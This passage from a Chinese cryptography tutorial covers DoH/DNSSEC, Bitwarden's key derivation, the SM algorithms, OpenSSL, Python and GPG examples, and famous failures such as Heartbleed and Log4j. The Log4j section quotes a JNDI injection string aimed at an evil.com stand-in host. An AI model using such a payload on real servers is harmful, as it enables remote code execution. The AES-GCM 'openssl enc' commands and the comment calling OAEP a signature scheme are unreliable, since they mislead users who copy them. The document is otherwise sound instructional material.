方案对比：</p><table><thead><tr><th>技术</th><th>全称</th><th>机制</th><th>一句话</th></tr></thead><tbody><tr><td><strong>DoT</strong></td><td>DNS over TLS</td><td>DNS 包走 TLS 加密</td><td>DNS 专属加密通道</td></tr><tr><td><strong>DoH</strong></td><td>DNS over HTTPS</td><td>DNS 包混在 HTTPS 流里</td><td>最隐蔽，最难被审查</td></tr><tr><td><strong>DNSSEC</strong></td><td>DNS Security Extensions</td><td>对 DNS 记录加数字签名</td><td>⚠️ 不加密！只防篡改</td></tr></tbody></table><blockquote><p><strong>⚠️ 最常见误解：</strong> DNSSEC <strong>不加密</strong>。它只给 DNS 记录加签名，防篡改。你的 ISP 仍然能看到你查了什么域名。DoH 和 DoT 才负责加密传输。</p></blockquote><p><strong>实用建议：</strong> Android 设置→网络→私人 DNS，填入 <code>dns.google</code>（开启系统级 DoT）。</p><h3 id="10-8-密码管理器：零知识加密的典范"><a href="#10-8-密码管理器：零知识加密的典范" class="headerlink" title="10.8 密码管理器：零知识加密的典范"></a>10.8 密码管理器：零知识加密的典范</h3><p>以 Bitwarden（开源密码管理器）为例的<strong>零知识加密</strong><sup id="fnref:28"><a href="#fn:28" rel="footnote">[28]</a></sup>架构：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">用户输入：主密码（唯一需要记住的东西）</span><br><span class="line">         +</span><br><span class="line">         邮箱地址</span><br><span class="line">         ▼</span><br><span class="line">┌─ KDF（密钥派生函数）─────────────────┐</span><br><span class="line">│  Argon2id（内存硬化，防GPU暴力破解）   │</span><br><span class="line">│          ▼                            │</span><br><span class="line">│       主密钥（仅存在于你的设备上）     │</span><br><span class="line">│        → 永远不发给服务器              │</span><br><span class="line">└──────────────────────────────────────┘</span><br><span class="line">         ▼</span><br><span class="line">   用主密钥解密 → 获取对称加密密钥</span><br><span class="line">         ▼</span><br><span class="line">   用 AES-256-CBC 解密每个密码条目</span><br></pre></td></tr></table></figure><blockquote><p><strong>实操建议：</strong> 如果用 Bitwarden，在设置中把 KDF 切换为 <strong>Argon2id</strong>（默认配置：64MB&#x2F;3迭代&#x2F;4并行度）。</p></blockquote><hr><h2 id="第十一章-国密算法体系"><a href="#第十一章-国密算法体系" class="headerlink" title="第十一章 国密算法体系"></a>第十一章 国密算法体系</h2><p>中国国家密码管理局发布的商用密码算法标准体系：</p><table><thead><tr><th>算法</th><th>类型</th><th>对标国际</th><th>密钥&#x2F;输出长度</th><th>说明</th></tr></thead><tbody><tr><td><strong>SM1</strong></td><td>对称分组密码</td><td>AES</td><td>128 位</td><td>算法不公开</td></tr><tr><td><strong>SM2</strong></td><td>非对称（椭圆曲线）</td><td>ECC (P-256)</td><td>256 位</td><td>256 位即达 RSA-3072 安全级别</td></tr><tr><td><strong>SM3</strong></td><td>哈希</td><td>SHA-256</td><td>256 位输出</td><td>国密哈希标准</td></tr><tr><td><strong>SM4</strong></td><td>对称分组密码</td><td>AES-128</td><td>128 位</td><td>加密解密结构相同，仅轮密钥顺序相反</td></tr><tr><td><strong>SM7</strong></td><td>对称分组密码</td><td>—</td><td>128 位</td><td>算法不公开</td></tr><tr><td><strong>SM9</strong></td><td>标识密码（<abbr title="Identity-Based Cryptography，以用户身份信息（如手机号、邮箱）作为公钥的密码体系。SM9 是中国首个标识密码标准。">IBC</abbr>）</td><td>—</td><td>256 位</td><td>手机号&#x2F;邮箱本身即公钥，无需 PKI</td></tr><tr><td><strong>ZUC（祖冲之）</strong></td><td>流密码</td><td>SNOW 3G</td><td>128 位</td><td>中国首个成为国际标准的密码算法（3GPP LTE）</td></tr></tbody></table><hr><h2 id="第十二章-加密解密实操实战"><a href="#第十二章-加密解密实操实战" class="headerlink" title="第十二章 加密解密实操实战"></a>第十二章 加密解密实操实战</h2><h3 id="12-1-OpenSSL-命令行实战"><a href="#12-1-OpenSSL-命令行实战" class="headerlink" title="12.1 OpenSSL 命令行实战"></a>12.1 OpenSSL 命令行实战</h3><p>OpenSSL 是加密解密实操的”瑞士军刀”——以下所有命令可直接运行。</p><h4 id="对称加密（AES-256-GCM，推荐）"><a href="#对称加密（AES-256-GCM，推荐）" class="headerlink" title="对称加密（AES-256-GCM，推荐）"></a>对称加密（AES-256-GCM，推荐）</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 加密文件（需要输入密码）</span></span><br><span class="line">openssl enc -aes-256-gcm -pbkdf2 -iter 100000 \</span><br><span class="line">    -<span class="keyword">in</span> secret.txt -out secret.enc</span><br><span class="line"></span><br><span class="line"><span class="comment"># 解密文件</span></span><br><span class="line">openssl enc -d -aes-256-gcm -pbkdf2 -iter 100000 \</span><br><span class="line">    -<span class="keyword">in</span> secret.enc -out secret_dec.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 对比原文和解密结果</span></span><br><span class="line">diff secret.txt secret_dec.txt  <span class="comment"># 无输出 = 完全一致 ✅</span></span><br></pre></td></tr></table></figure><h4 id="非对称加密（RSA-OAEP-填充）"><a href="#非对称加密（RSA-OAEP-填充）" class="headerlink" title="非对称加密（RSA + OAEP 填充）"></a>非对称加密（RSA + OAEP 填充）</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 生成 4096 位私钥</span></span><br><span class="line">openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:4096 \</span><br><span class="line">    -out private_key.pem</span><br><span class="line"></span><br><span class="line"><span class="comment"># 提取公钥</span></span><br><span class="line">openssl pkey -<span class="keyword">in</span> private_key.pem -pubout -out public_key.pem</span><br><span class="line"></span><br><span class="line"><span class="comment"># 用公钥加密（OAEP 填充是安全的签名方案）</span></span><br><span class="line">openssl pkeyutl -encrypt -pubin -inkey public_key.pem \</span><br><span class="line">    -pkeyopt rsa_padding_mode:oaep \</span><br><span class="line">    -<span class="keyword">in</span> message.txt -out encrypted.bin</span><br><span class="line"></span><br><span class="line"><span class="comment"># 用私钥解密</span></span><br><span class="line">openssl pkeyutl -decrypt -inkey private_key.pem \</span><br><span class="line">    -pkeyopt rsa_padding_mode:oaep \</span><br><span class="line">    -<span class="keyword">in</span> encrypted.bin -out decrypted.txt</span><br></pre></td></tr></table></figure><h4 id="哈希与数字签名"><a href="#哈希与数字签名" class="headerlink" title="哈希与数字签名"></a>哈希与数字签名</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># SHA-256 哈希</span></span><br><span class="line"><span class="built_in">sha256sum</span> file.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 对文件签名</span></span><br><span class="line">openssl dgst -sha256 -sign private_key.pem \</span><br><span class="line">    -out signature.bin document.pdf</span><br><span class="line"></span><br><span class="line"><span class="comment"># 验证签名</span></span><br><span class="line">openssl dgst -sha256 -verify public_key.pem \</span><br><span class="line">    -signature signature.bin document.pdf</span><br><span class="line"><span class="comment"># 输出 &quot;Verified OK&quot; = 签名有效 ✅</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成自签名证书（开发/测��用）</span></span><br><span class="line">openssl req -x509 -newkey rsa:4096 -keyout server_key.pem \</span><br><span class="line">    -out server_cert.pem -days 365 -nodes \</span><br><span class="line">    -subj <span class="string">&quot;/CN=localhost&quot;</span></span><br></pre></td></tr></table></figure><h3 id="12-2-Python-加密编程实战"><a href="#12-2-Python-加密编程实战" class="headerlink" title="12.2 Python 加密编程实战"></a>12.2 Python 加密编程实战</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># pip install cryptography</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> cryptography.hazmat.primitives.ciphers <span class="keyword">import</span> Cipher, algorithms, modes</span><br><span class="line"><span class="keyword">from</span> cryptography.hazmat.primitives.asymmetric <span class="keyword">import</span> rsa, padding</span><br><span class="line"><span class="keyword">from</span> cryptography.hazmat.primitives <span class="keyword">import</span> hashes, hmac</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"><span class="comment"># ===== AES-256-GCM 认证加密 =====</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">aes_gcm_encrypt</span>(<span class="params">plaintext: <span class="built_in">bytes</span>, key: <span class="built_in">bytes</span></span>) -&gt; <span class="built_in">tuple</span>:</span><br><span class="line">    nonce = os.urandom(<span class="number">12</span>)  <span class="comment"># 96 位随机 nonce，绝不能重用</span></span><br><span class="line">    cipher = Cipher(algorithms.AES(key), modes.GCM(nonce))</span><br><span class="line">    encryptor = cipher.encryptor()</span><br><span class="line">    ciphertext = encryptor.update(plaintext) + encryptor.finalize()</span><br><span class="line">    <span class="keyword">return</span> (nonce, ciphertext, encryptor.tag)  <span class="comment"># tag = 完整性校验码</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用示例</span></span><br><span class="line">key = os.urandom(<span class="number">32</span>)  <span class="comment"># AES-256 密钥</span></span><br><span class="line">nonce, ct, tag = aes_gcm_encrypt(<span class="string">b&quot;Hello, World!&quot;</span>, key)</span><br><span class="line"></span><br><span class="line"><span class="comment"># ===== RSA 加密/解密 =====</span></span><br><span class="line">private_key = rsa.generate_private_key(public_exponent=<span class="number">65537</span>, key_size=<span class="number">2048</span>)</span><br><span class="line">public_key = private_key.public_key()</span><br><span class="line"></span><br><span class="line">ciphertext = public_key.encrypt(</span><br><span class="line">    <span class="string">b&quot;Secret message&quot;</span>,</span><br><span class="line">    padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),</span><br><span class="line">                 algorithm=hashes.SHA256(), label=<span class="literal">None</span>)</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">plaintext = private_key.decrypt(</span><br><span class="line">    ciphertext,</span><br><span class="line">    padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),</span><br><span class="line">                 algorithm=hashes.SHA256(), label=<span class="literal">None</span>)</span><br><span class="line">)</span><br><span class="line"><span class="built_in">print</span>(plaintext.decode())</span><br></pre></td></tr></table></figure><h4 id="密码存储的正确方式"><a href="#密码存储的正确方式" class="headerlink" title="密码存储的正确方式"></a>密码存储的正确方式</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># pip install bcrypt</span></span><br><span class="line"><span class="keyword">import</span> bcrypt</span><br><span class="line"></span><br><span class="line">password = <span class="string">b&quot;super_secret_password&quot;</span></span><br><span class="line">hashed = bcrypt.hashpw(password, bcrypt.gensalt(rounds=<span class="number">12</span>))</span><br><span class="line"><span class="comment"># 存储 hashed 到数据库——盐已内嵌在 hashed 中</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 验证密码</span></span><br><span class="line"><span class="keyword">if</span> bcrypt.checkpw(password, hashed):</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;✅ 密码正确&quot;</span>)</span><br></pre></td></tr></table></figure><h3 id="12-3-GPG-实战"><a href="#12-3-GPG-实战" class="headerlink" title="12.3 GPG 实战"></a>12.3 GPG 实战</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 生成密钥对</span></span><br><span class="line">gpg --full-generate-key</span><br><span class="line"></span><br><span class="line"><span class="comment"># 导出公钥发给别人</span></span><br><span class="line">gpg --armor --<span class="built_in">export</span> your@email.com &gt; public_key.asc</span><br><span class="line"></span><br><span class="line"><span class="comment"># 加密文件（用接收者的公钥）</span></span><br><span class="line">gpg --encrypt --recipient friend@email.com secret_report.pdf</span><br><span class="line"></span><br><span class="line"><span class="comment"># 解密文件</span></span><br><span class="line">gpg --decrypt secret_report.pdf.gpg &gt; secret_report.pdf</span><br></pre></td></tr></table></figure><hr><h2 id="第十三章-加密的失败：当理论遇到现实"><a href="#第十三章-加密的失败：当理论遇到现实" class="headerlink" title="第十三章 加密的失败：当理论遇到现实"></a>第十三章 加密的失败：当理论遇到现实</h2><blockquote><p><strong>引言：</strong> 算法在数学上是完美的，但实现是人写的，协议是逐步演进的，用户是有弱点的。理解加密如何失败，比只学习加密如何成功更重要——<strong>因为攻击者不会从正面突破你的 AES-256，他们会绕过去。</strong></p></blockquote><h3 id="13-1-中间人攻击（MITM）"><a href="#13-1-中间人攻击（MITM）" class="headerlink" title="13.1 中间人攻击（MITM）"></a>13.1 中间人攻击（MITM）</h3><p>加密保护信道，但不保证你通信的对象是谁。如果攻击者能插在中间：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">你 ←→ [攻击者，伪装成服务器] ←→ [真实服务器]</span><br><span class="line">     ↑ 你的数据被攻击者解密、查看、再重新加密发给服务器</span><br></pre></td></tr></table></figure><table><thead><tr><th>手法</th><th>原理</th><th>防御</th></tr></thead><tbody><tr><td>ARP 欺骗</td><td>局域网内冒充网关</td><td>静态 ARP 表</td></tr><tr><td>伪造 Wi-Fi</td><td>架一个同名 Wi-Fi</td><td>谨慎连接公共 Wi-Fi + VPN</td></tr><tr><td>DNS 劫持</td><td>把你指向的 IP 改成攻击者的 IP</td><td>DNSSEC + DoH</td></tr><tr><td>伪造证书</td><td>自签 <code>*.google.com</code> 证书</td><td>证书透明度</td></tr></tbody></table><p><strong>典型事件——Superfish（2015）：</strong> 联想在笔记本预装 Superfish 广告软件，在系统安装自签根证书，对所有 HTTPS 做中间人解密以注入广告。事件曝光后联想紧急推送移除工具。</p><h3 id="13-2-降级攻击"><a href="#13-2-降级攻击" class="headerlink" title="13.2 降级攻击"></a>13.2 降级攻击</h3><table><thead><tr><th>攻击名</th><th>目标</th><th>手法</th></tr></thead><tbody><tr><td><strong>POODLE (2014)</strong></td><td>SSLv3</td><td>伪造连接失败，逼客户端降级到 SSLv3，利用填充漏洞逐字节解密</td></tr><tr><td><strong>Logjam (2015)</strong></td><td>TLS DH</td><td>将 2048 位 DH 降级为 512 位”出口级”DH，可实时破解</td></tr><tr><td><strong>FREAK (2015)</strong></td><td>TLS RSA</td><td>将 RSA 密钥降级到 512 位出口级</td></tr></tbody></table><h3 id="13-3-侧信道攻击"><a href="#13-3-侧信道攻击" class="headerlink" title="13.3 侧信道攻击"></a>13.3 侧信道攻击</h3><p>不破解数学问题，通过物理世界的泄露信息推断密钥：</p><table><thead><tr><th>类型</th><th>测量什么</th><th>经典案例</th></tr></thead><tbody><tr><td><strong>时序攻击</strong></td><td>不同密钥产生不同计算时间</td><td>通过服务器处理时间差异推断私钥</td></tr><tr><td><strong>功耗分析</strong></td><td>CPU 不同运算的功耗波形（DPA）</td><td>智能卡中的 AES 密钥被示波器+统计破解</td></tr><tr><td><strong>缓存攻击</strong></td><td>CPU 缓存访问模式</td><td>Meltdown&#x2F;Spectre (2018) 跨进程窃取内存</td></tr><tr><td><strong>声音攻击</strong></td><td>CPU 运算的电流噪声频率</td><td>手机麦克风在 1 米外录 RSA 签名声音→提取 4096 位密钥</td></tr></tbody></table><h3 id="13-4-实现错误"><a href="#13-4-实现错误" class="headerlink" title="13.4 实现错误"></a>13.4 实现错误</h3><p><strong>Heartbleed（2014）：</strong> TLS 心跳扩展的 Bug——服务器不检查客户端声称的数据长度，导致可以读取服务器内存中 64KB 的任意数据（含私钥、密码）。全球 17% HTTPS 服务器受影响。</p><p><strong>Log4j（2021）：</strong> Log4j 日志库自动解析 <code>${...}</code> 表达式，攻击者嵌入 <code>${jndi:ldap://evil.com/payload}</code> 即可远程执行代码。全球数百万台服务器受影响。</p><blockquote><p><strong>Heartbleed 和 Log4j 的共同教训：</strong> 加密算法的安全性是必要条件，不是充分条件。软件实现的每一行代码都是攻击面。</p></blockquote><h3 id="13-5-社会工程——绕过所有加密的最短路径"><a href="#13-5-社会工程——绕过所有加密的最短路径" class="headerlink" title="13.5 社会工程——绕过所有加密的最短路径"></a>13.5 社会工程——绕过所有加密的最短路径</h3><p>任何加密都不能防止你把密码告诉骗子。钓鱼邮件、SIM 卡交换、假客服——年损失数千亿美元。</p><p><strong>5 条保命建议：</strong></p><ol><li>使用密码管理器，所有网站密码不重复</li><li>开启两步验证（TOTP 验证器，别用短信）</li><li>保持系统和浏览器自动更新</li><li>公共 Wi-Fi 上只用 VPN 或手机热点</li><li>对任何要你”点击链接、输入密码、告知验证码”的消息保持深度怀疑</li></ol><hr><h2 id="第十四章-量子密码与未来趋势"><a href="#第十四章-量子密码与未来趋势" class="headerlink" title="第十四章 量子密码与未来趋势"></a>第十四章 量子密码与未来趋势</h2><h3 id="14-1-量子计算对现有密码的威胁"><a href="#14-1-量子计算对现有密码的威胁" class="headerlink" title="14.1 量子计算对现有密码的威胁"></a>14.1 量子计算对现有密码的威胁</h3><table><thead><tr><th>算法</th><th>量子攻击算法</th><th>影响程度</th><th>缓解措施</th></tr></thead><tbody><tr><td>RSA</td><td>Shor 算法</td><td>🔴 完全破解</td><td>迁移到 PQC</td></tr><tr><td>ECC&#x2F;ECDSA</td><td>Shor 算法</td><td>🔴 完全破解</td><td>迁移到 PQC</td></tr><tr><td>AES-128</td><td>Grover 算法</td><td>🟡 减半（约 64 位）</td><td>升级到 AES-256</td></tr><tr><td>AES-256</td><td>Grover 算法</td><td>🟢 仍安全（约 128 位）</td><td>无需改变</td></tr><tr><td>SHA-256</td><td>Grover 算法</td><td>🟡 碰撞 128→85 位</td><td>升级到 SHA-384</td></tr></tbody></table><h3 id="14-2-NIST-后量子密码标准（2024）"><a href="#14-2-NIST-后量子密码标准（2024）" class="headerlink" title="14.2 NIST 后量子密码标准（2024）"></a>14.2 NIST 后量子密码标准（2024）</h3><table><thead><tr><th>标准</th><th>原名</th><th>类型</th><th>数学基础</th></tr></thead><tbody><tr><td><strong>FIPS 203</strong></td><td>CRYSTALS-Kyber → ML-KEM</td><td>密钥封装</td><td>格（Module-LWE）</td></tr><tr><td><strong>FIPS 204</strong></td><td>CRYSTALS-Dilithium → ML-DSA</td><td>数字签名</td><td>格（Module-LWE）</td></tr><tr><td><strong>FIPS 205</strong></td><td>SPHINCS+ → SLH-DSA</td><td>数字签名（保守）</td><td>无状态哈希</td></tr></tbody></table><blockquote><p><strong>⚠️ “现在收集，以后解密”：</strong> 攻击者现在截获加密通信并存起来，等量子计算机成熟后批量解密。需要保密超过 10~15 年的数据，现在就该考虑迁移。</p></blockquote><h3 id="14-3-其他前沿方向"><a href="#14-3-其他前沿方向" class="headerlink" title="14.3 其他前沿方向"></a>14.3 其他前沿方向</h3><ul><li><strong>同态加密：</strong> 在密文上直接计算，结果解密后等同于明文计算结果</li><li><strong>零知识证明（ZKP）：</strong> 证明”我知道 X”而不透露 X</li><li><strong>安全多方计算：</strong> 多方在不泄露各自输入的情况下共同计算一个函数</li><li><strong>量子密钥分发（QKD）：</strong> 利用量子力学不可克隆定理实现理论上绝对安全的密钥分发（中国已建成京沪量子通信干线）</li></ul><hr><h2 id="第十五章-学习路径与资源"><a href="#第十五章-学习路径与资源" class="headerlink" title="第十五章 学习路径与资源"></a>第十五章 学习路径与资源</h2><h3 id="15-1-三阶段学习路线"><a href="#15-1-三阶段学习路线" class="headerlink" title="15.1 三阶段学习路线"></a>15.1 三阶段学习路线</h3><table><thead><tr><th>阶段</th><th>目标</th><th>核心内容</th></tr></thead><tbody><tr><td><strong>入门（1-2 周）</strong></td><td>理解概念，会用工具</td><td>AES&#x2F;RSA&#x2F;MD5 概念、OpenSSL 命令行、SHA-256 哈希</td></tr><tr><td><strong>进阶（2-4 周）</strong></td><td>理解原理，能写代码</td><td>TLS 握手、RSA 数学原理、Python cryptography 库</td></tr><tr><td><strong>实践（2-4 周）</strong></td><td>独立完成项目</td><td>CTF 密码题、搭建 HTTPS 服务、参与开源项目</td></tr></tbody></table><h3 id="15-2-推荐资源"><a href="#15-2-推荐资源" class="headerlink" title="15.2 推荐资源"></a>15.2 推荐资源</h3><table><thead><tr><th>类型</th><th>资源</th><th>说明</th></tr></thead><tbody><tr><td>📖 入门书</td><td>《图解密码技术》（结城浩）</td><td>最佳入门，图解+故事��零基础可读</td></tr><tr><td>📖 经典书</td><td>《应用密码学》（Bruce Schneier）</td><td>密码学圣经，比教科书有趣</td></tr><tr><td>📖 中文书</td><td>《深入浅出 HTTPS》（虞卫东）</td><td>TLS&#x2F;HTTPS 最佳中文读物</td></tr><tr><td>🎓 课程</td><td><a href="https://www.coursera.org/learn/crypto">Coursera: Cryptography I</a> (Dan Boneh, 斯坦福)</td><td>最好的密码学在线课程，免费</td></tr><tr><td>🎮 CTF</td><td><a href="https://cryptohack.org/">CryptoHack</a></td><td>游戏化学密码学，从入门到高级</td></tr><tr><td>🎮 CTF</td><td><a href="https://picoctf.org/">picoCTF</a></td><td>卡内基梅隆出品，适合零基础</td></tr><tr><td>💬 社区</td><td><a href="https://www.kanxue.com/">看雪论坛</a></td><td>逆向与安全经典中文论坛</td></tr><tr><td>🔧 GitHub</td><td><a href="https://github.com/sobolevn/awesome-cryptography">awesome-cryptography</a></td><td>密码学资源大全</td></tr></tbody></table><h3 id="15-3-可以先跳过的"><a href="#15-3-可以先跳过的" class="headerlink" title="15.3 可以先跳过的"></a>15.3 可以先跳过的</h3><ul><li>椭圆曲线的群论、域论严格数学推导</li><li>侧信道攻击细节（进阶再学）</li><li>格密码的具体数学构造（先理解概念，后量子时代深入时再学）</li><li>自己实现加密算法（永远不要用于生产！做练习可以）</li></ul><blockquote><p><strong>💡 最重要的学习建议：</strong> 密码学不是”看书”学会的——必须动手。每学一个概念就打开终端跑一跑，动手比看书重要十倍。</p></blockquote><hr><h2 id="第十六章-附录"><a href="#第十六章-附录" class="headerlink" title="第十六章 附录"></a>第十六章 附录</h2><h3 id="16-1-术语表"><a href="#16-1-术语表" class="headerlink" title="16.1 术语表"></a>16.1 术语表</h3><table><thead><tr><th>术语</th><th>英文</th><th>定义</th></tr></thead><tbody><tr><td>明文</td><td>Plaintext</td><td>加密前的原始可读数据</td></tr><tr><td>密文</td><td>Ciphertext</td><td>加密后的不可读数据</td></tr><tr><td>密钥</td><td>Key</td><td>控制加密&#x2F;解密过程的秘密参数</td></tr><tr><td>对称加密</td><td>Symmetric Encryption</td><td>加密和解密使用同一密钥</td></tr><tr><td>非对称加密</td><td>Asymmetric Encryption</td><td>加密和解密使用不同密钥（公钥&#x2F;私钥）</td></tr><tr><td>公钥</td><td>Public Key</td><td>可公开分发，用于加密或验证签名</td></tr><tr><td>私钥</td><td>Private Key</td><td>必须保密，用于解密或创建签名</td></tr><tr><td>哈希&#x2F;摘要</td><td>Hash &#x2F; Digest</td><td>不可逆的固定长度输出，验证完整性</td></tr><tr><td>数字签名</td><td>Digital Signature</td><td>用私钥对数据创建的密码学证明</td></tr><tr><td>证书</td><td>Certificate (X.509)</td><td>CA 签发的公钥所有权证明</td></tr><tr><td>CA</td><td>Certificate Authority</td><td>可信任的证书签发机构</td></tr><tr><td>PKI</td><td>Public Key Infrastructure</td><td>管理公钥和证书的基础设施</td></tr><tr><td>TLS</td><td>Transport Layer Security</td><td>传输层安全协议，HTTPS 底层加密标准</td></tr><tr><td>IV&#x2F;Nonce</td><td>Initialization Vector</td><td>随机数，确保相同明文每次产生不同密文</td></tr><tr><td>MAC</td><td>Message Authentication Code</td><td>消息认证码，验证数据完整性和来源</td></tr><tr><td>HMAC</td><td>Hash-based MAC</td><td>基于哈希的消息认证码</td></tr><tr><td>AEAD</td><td>Authenticated Encryption with Associated Data</td><td>认证加密，同时提供加密和完整性</td></tr><tr><td>PFS</td><td>Perfect Forward Secrecy</td><td>完美前向安全，长期密钥泄露不影响历史通信</td></tr><tr><td>PQC</td><td>Post-Quantum Cryptography</td><td>后量子密码，抵抗量子计算机攻击</td></tr><tr><td>KDF</td><td>Key Derivation Function</td><td>密钥派生函数，从密码生成密钥</td></tr><tr><td>Salt</td><td>Salt</td><td>随机数据，与密码混合后哈希，防彩虹表</td></tr><tr><td>ECDHE</td><td>Elliptic Curve Diffie-Hellman Ephemeral</td><td>椭圆曲线临时 DH 密钥交换，提供前向安全</td></tr><tr><td>GCM</td><td>Galois&#x2F;Counter Mode</td><td>AES 的认证加密模式（推荐）</td></tr><tr><td>OAEP</td><td>Optimal Asymmetric Encryption Padding</td><td>RSA 的安全填充方案</td></tr></tbody></table><h3 id="16-2-OpenSSL-常用命令速查"><a href="#16-2-OpenSSL-常用命令速查" class="headerlink" title="16.2 OpenSSL 常用命令速查"></a>16.2 OpenSSL 常用命令速查</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 对称加密/解密</span></span><br><span class="line">openssl enc -aes-256-gcm -pbkdf2 -<span class="keyword">in</span> plain.txt -out cipher.enc</span><br><span class="line">openssl enc -d -aes-256-gcm -pbkdf2 -<span class="keyword">in</span> cipher.enc -out plain.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成 RSA 密钥</span></span><br><span class="line">openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:4096 -out private.pem</span><br><span class="line">openssl pkey -<span class="keyword">in</span> private.pem -pubout -out public.pem</span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成 ECC 密钥（推荐）</span></span><br><span class="line">openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:prime256v1 -out ec_private.pem</span><br><span class="line"></span><br><span class="line"><span class="comment"># 哈希</span></span><br><span class="line">openssl dgst -sha256 file.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 数字签名</span></span><br><span class="line">openssl dgst -sha256 -sign private.pem -out sig.bin file.txt</span><br><span class="line">openssl dgst -sha256 -verify public.pem -signature sig.bin file.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看证书</span></span><br><span class="line">openssl x509 -<span class="keyword">in</span> cert.pem -text -noout</span><br><span class="line"></span><br><span class="line"><span class="comment"># TLS 连接测试</span></span><br><span class="line">openssl s_client -connect example.com:443 -tls1_3</span><br></pre></td></tr></table></figure><h3 id="16-3-算法选择决策速查表"><a href="#16-3-算法选择决策速查表" class="headerlink" title="16.3 算法选择决策速查表"></a>16.3 算法选择决策速查表</h3><table><thead><tr><th>场景</th><th>推荐算法</th><th>备选</th></tr></thead><tbody><tr><td>加密大量数据</td><td>AES-256-GCM</td><td>ChaCha20-Poly1305</td></tr><tr><td>密钥交换</td><td>ECDHE (X25519)</td><td>ML-KEM（后量子）</td></tr><tr><td>数字签名</td><td>Ed25519</td><td>ECDSA P-256 &#x2F; RSA-4096</td></tr><tr><td>密码存储</td><td>Argon2id</td><td>bcrypt (cost≥12)</td></tr><tr><td>哈希&#x2F;完整性</td><td>SHA-256 &#x2F; BLAKE3</td><td>SHA-512 &#x2F; 